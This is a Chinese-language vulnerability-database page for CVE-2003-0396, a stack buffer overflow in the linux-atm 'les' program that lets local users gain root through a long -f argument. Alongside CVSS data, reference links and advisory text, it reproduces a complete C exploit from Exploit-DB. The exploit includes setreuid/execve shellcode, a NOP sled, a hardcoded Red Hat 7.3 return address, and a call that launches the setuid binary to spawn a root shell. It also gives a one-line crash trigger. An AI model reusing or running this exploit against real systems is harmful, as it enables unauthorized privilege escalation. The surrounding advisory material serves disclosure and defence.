CVE-2003-0396
CVSS4.6
发布时间 :2003-07-02 00:00:00
修订时间 :2016-10-17 22:33:22
NMCOES    

[原文]Buffer overflow in les for ATM on Linux (linux-atm) before 2.4.1, if used setuid, allows local users to gain privileges via a long -f command line argument.


[CNNVD]Linux-ATM LES命令行参数本地缓冲区溢出漏洞(CNNVD-200307-008)

        
        Linux当前支持ATM,目前是实验阶段,支持RAW ATM连接、IP通过ATM、LAN模拟、MPOA等功能。
        linux-atm 'les'可执行文件对命令行参数缺少正确的缓冲区边界检查,本地攻击者可以利用这个漏洞进行缓冲区溢出攻击,可能以root用户权限在系统上执行任意指令。
        '/usr/local/sbin/les'程序对用户提交给-f选项的数据缺少正确边界检查,提交超过252字节的数据可触发缓冲区溢出,精心构建提交数据可能以root用户权限在系统上执行任意指令。
        

- CVSS (基础分值)

CVSS分值: 4.6 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0396
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2003-0396
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200307-008
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=105154433926396&w=2
(UNKNOWN)  BUGTRAQ  20030428 ATM on Linux Exploit Code Release (les, local)
http://marc.info/?l=bugtraq&m=105405560021979&w=2
(UNKNOWN)  BUGTRAQ  20030524 ATM on linux Exploit(les,local)
http://sourceforge.net/project/shownotes.php?release_id=156242
(PATCH)  MISC  http://sourceforge.net/project/shownotes.php?release_id=156242
http://www.securiteam.com/exploits/5EP0M1P9PO.html
(UNKNOWN)  MISC  http://www.securiteam.com/exploits/5EP0M1P9PO.html
http://www.securityfocus.com/bid/7437
(UNKNOWN)  BID  7437
http://xforce.iss.net/xforce/xfdb/11903
(UNKNOWN)  XF  atmonlinux-les-command-bo(11903)

- 漏洞信息

Linux-ATM LES命令行参数本地缓冲区溢出漏洞
中危 边界条件错误
2003-07-02 00:00:00 2005-10-20 00:00:00
本地  
        
        Linux当前支持ATM,目前是实验阶段,支持RAW ATM连接、IP通过ATM、LAN模拟、MPOA等功能。
        linux-atm 'les'可执行文件对命令行参数缺少正确的缓冲区边界检查,本地攻击者可以利用这个漏洞进行缓冲区溢出攻击,可能以root用户权限在系统上执行任意指令。
        '/usr/local/sbin/les'程序对用户提交给-f选项的数据缺少正确边界检查,提交超过252字节的数据可触发缓冲区溢出,精心构建提交数据可能以root用户权限在系统上执行任意指令。
        

- 公告与补丁

        厂商补丁:
        linux-atm
        ---------
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        
        http://sourceforge.net/projects/linux-atm/

- 漏洞信息 (22540)

Linux-ATM LES 2.4 Command Line Argument Buffer Overflow Vulnerability (EDBID:22540)
linux local
2003-02-18 Verified
0 Angelo Rosiello
N/A [点击下载]
source: http://www.securityfocus.com/bid/7437/info

The linux-atm 'les' executable has been reported prone to a buffer overflow vulnerability.

This issue is due to a lack of sufficient bounds checking performed on data supplied via specific command line arguments to the 'les' executable. Excessive data may overrun the bounds of an internal memory buffer and corrupt adjacent memory. As a direct result of this issue arbitrary code execution is possible.

Although this vulnerability reportedly affects linux-atm 2.4.0, previous versions may also be affected. 

/*
***             Exploit against the linux-atm project
***
***           http://sourceforge.net/projects/linux-atm
***************************************************************
***                     VULNERABILITY
***
*** Stack Overflow discovered by Angelo Rosiello
*** /usr/local/sbin/les -f `perl -e 'print "A"x252'`
*** Program received signal SIGSEGV, Segmentation fault.
*** 0x41414141 in ?? ()
****************************************************************
*** AUTHOR:     Angelo Rosiello
*** CONTACT:    angelo@dtors.net, rosiello.angelo@virgilio.it
***		guilecool@usa.com
***
*** Copyright (c) 2003 DTORS Security
*** All rights reserved.
*** http://dtors.net
***
*** SHELLCODE by esDee
***
*** 18/02/2003
***
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define NOP 0x90           // No operation instruction
#define LEN 252            // Our buffer size

void usage();

static char shellcode[] =

        // setreuid(0,0);
        "\x31\xc0"                      // xor    %eax,%eax
        "\x31\xdb"                      // xor    %ebx,%ebx
        "\x31\xc9"                      // xor    %ecx,%ecx
        "\xb0\x46"                      // mov    $0x46,%al
        "\xcd\x80"                      // int    $0x80

        // execve /bin/sh
        "\x31\xc0"                      // xor    %eax,%eax
        "\x50"                          // push   %eax
        "\x68\x2f\x2f\x73\x68"          // push   $0x68732f2f
        "\x68\x2f\x62\x69\x6e"          // push   $0x6e69622f
        "\x89\xe3"                      // mov    %esp,%ebx
        "\x8d\x54\x24\x08"              // lea    0x8(%esp,1),%edx
        "\x50"                          // push   %eax
        "\x53"                          // push   %ebx
        "\x8d\x0c\x24"                  // lea    (%esp,1),%ecx
        "\xb0\x0b"                      // mov    $0xb,%al
        "\xcd\x80"                      // int    $0x80

        // exit();
        "\x31\xc0"                      // xor    %eax,%eax
        "\xb0\x01"                      // mov    $0x1,%al
        "\xcd\x80";                     // int    $0x80

struct
{
  int number;
  char *version;
  long ret;
  char path[256];
}       target[] =
{
  {1," Red Hat Linux release 7.3 (Valhalla)", 0xbffff860, "/usr/local/sbin/les"},
  {2," No defined", 0xffffffff , "/usr/local/sbin/les"},
};

main(int argc, char *argv[])
{
        char buffer[LEN];
        int i;
        long ret;
        char *PATH;
        int selection;
        if(argc == 1)
        {
                usage((char **)argv[0]);
                exit(1);
        }
        selection = atoi(argv[2]);

        printf("Ret = 0x%lx and PATH= %s\n", target[selection-1].ret, (char **)target[selection-1].path);
        printf("\nCopyright (c) 2003 DTORS Security\n");
        printf("ANGELO ROSIELLO 18/02/2003\n");
        printf("\tLES-EXPLOIT for Linux x86\n\n");

        ret = target[selection-1].ret;
        PATH = target[selection-1].path;
        // Build the overflow string.
        for (i = 0; i < LEN; i += 4)  *(long *) &buffer[i] = ret;

        // copy NOP
        for (i=0; i<(LEN-strlen(shellcode)-25);i++) *(buffer+i) = NOP;

        // Copy the shellcode into the buffer.
        memcpy(buffer+i,shellcode,strlen(shellcode));

        // Execute the program
        execl(PATH, "les", "-f", buffer, NULL);
}

void usage(char *argv[])
{
        int i = 0;
        printf("\nUsage:\n%s -t [target number]\n\nTargets\n",*(char **)&argv);
        while(target[i].number)
        {
                printf("[%d]  %s \n", target[i].number, target[i].version);
                i++;
        }
}


		

- 漏洞信息

12305
ATM for Linux (linux-atm) les -f Parameter Local Overflow
Input Manipulation
Loss of Integrity

- 漏洞描述

Unknown or Incomplete

- 时间线

2003-04-28 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Linux-ATM LES Command Line Argument Buffer Overflow Vulnerability
Boundary Condition Error 7437
No Yes
2003-04-25 12:00:00 2009-07-11 09:07:00
Discovery of this vulnerability has been credited to Angelo Rosiello.

- 受影响的程序版本

linux-atm les 2.4

- 漏洞讨论

The linux-atm 'les' executable has been reported prone to a buffer overflow vulnerability.

This issue is due to a lack of sufficient bounds checking performed on data supplied via specific command line arguments to the 'les' executable. Excessive data may overrun the bounds of an internal memory buffer and corrupt adjacent memory. As a direct result of this issue arbitrary code execution is possible.

Although this vulnerability reportedly affects linux-atm 2.4.0, previous versions may also be affected.

- 漏洞利用

The following proof of concept exploit has been supplied:

- 解决方案

Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com <mailto:vuldb@securityfocus.com>.

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站